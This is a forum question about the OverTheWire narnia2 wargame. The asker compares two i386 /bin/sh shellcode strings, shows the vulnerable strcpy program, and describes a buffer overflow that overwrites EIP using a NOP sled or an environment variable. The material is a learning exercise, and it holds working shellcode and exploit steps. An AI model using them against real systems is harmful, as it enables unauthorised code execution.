2

I followed a guide to do narnia2 of overthewire and the shellcode generated by them was: h\x01\x01\x01\x01\x814$ri\x01\x011\xd2Rj\x04Z\x01\xe2R\x89\xe2jhh///sh/binj\x0bX\x89\xe3\x89\xd1\x99\xcd\x80

wheras mine is: jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80

They seem to be the same, but mine is in a different order than theirs.

Why is this? My code worked on a previous challenge, but on the current one won't work, but theirs will.

Both payloads seem to be generated using: asm(shellcraft.i386.linux.sh())

The program being exploited is:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
    char buf[128];

    if(argc == 1){
        printf("Usage: %s argument\n", argv[0]);
        exit(1);
    }
    strcpy(buf,argv[1]);
    printf("%s", buf);

    return 0;
}

and so far I have ran:

run $(python -c "print 'A'*132 + '\xef\xbe\xad\xde’”)

which gives me 0xdeadbeef at eip - so I can see I'm hitting the right place. I then either replace the 'A's with nops and at ~132 - 44 I stick my payload, and then replace the return address with an address midway through the nop sled. Or, I export an env variable containing the sled and shellcode - and then replace the eip with an address in that ( found using found using x/500s $sp).

Both versions work using their payload, but neither work with mine. I just get a different eip when I use my shellcode ( I'm guessing that means the eip redirected and the eip shown now is just the new eip after the shellcode executed? )

1
  • Hi there, and welcome to infosec SE! I imagine some people here who might be able to help you are not familiar with that specific challenge. Could you post some more info about what the program is? E.g. the relevant previous steps, how you can tell it doesn't work, etc.
    – J.A.K.
    Commented Dec 25, 2018 at 16:35

0

You must log in to answer this question.

Browse other questions tagged .